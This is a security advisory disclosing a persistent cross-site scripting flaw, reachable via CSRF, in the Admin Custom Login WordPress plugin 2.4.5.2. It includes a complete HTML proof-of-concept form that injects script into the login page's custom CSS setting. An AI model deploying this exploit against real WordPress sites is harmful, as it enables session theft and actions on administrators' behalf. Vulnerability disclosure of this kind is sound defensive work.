Admin Custom Login WordPress plugin custom login page affected by persistent Cross-Site Scripting

Abstract

A persistent Cross-Site Scripting vulnerability has been encountered in the Admin Custom Login WordPress plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. There is an option in this plugin to add custom style on the login page of wordpress. If you simply close the tags you are able to put malicious script which will be executed on the login page.

OVE ID

OVE-20160712-0003

Tested versions

This issue was succesfully tested on the Admin Custom Login WordPress plugin version 2.4.5.2.

Fix

There is currently no fix available.

Introduction

Admin custom login plugin give ability to customize your WordPress admin login page according to you.

Pugin allows to change background color, background image, background slide show, login form color, login form font size, login form position, add social media icon on form and many more features.

Details

It is possible as an Admin to put XSS on login page, but more interesting is the lack of CSRF, so if you can trick a logged-in admin to open a link with code below XSS will be added to the login page.

Proof of concept

<html>
	<body>
		<form action="http://<target>/wp-admin/options-general.php?page=admin_custom_login" method="POST">
			<input type="hidden" name="Action" value="loginbgSave" />
			<input type="hidden" name="login_form_position" value="default" />
			<input type="hidden" name="Login_bg_value" value="undefined" />
			<input type="hidden" name="login_background_color" value="" />
			<input type="hidden" name="login_bg_color_overlay" value="undefined" />
			<input type="hidden" name="login_bg_image" value="" />
			<input type="hidden" name="login_form_opacity" value="10" />
			<input type="hidden" name="login_form_width" value="300" />
			<input type="hidden" name="login_form_radius" value="3" />
			<input type="hidden" name="login_border_style" value="undefined" />
			<input type="hidden" name="login_border_thikness" value="3" />
			<input type="hidden" name="login_border_color" value="" />
			<input type="hidden" name="login_bg_repeat" value="undefined" />
			<input type="hidden" name="login_bg_position" value="undefined" />
			<input type="hidden" name="login_enable_shadow" value="no" />
			<input type="hidden" name="login_shadow_color" value="" />
			<input type="hidden" name="login_custom_css" value="<h1>test</h2></style><script>alert(5)</script>" />
			<input type="hidden" name="login_form_left" value="700" />
			<input type="hidden" name="login_form_top" value="300" />
			<input type="hidden" name="login_form_float" value="center" />
			<input type="submit" value="Submit request" />
		</form>
	</body>
</html>

Vragen of feedback?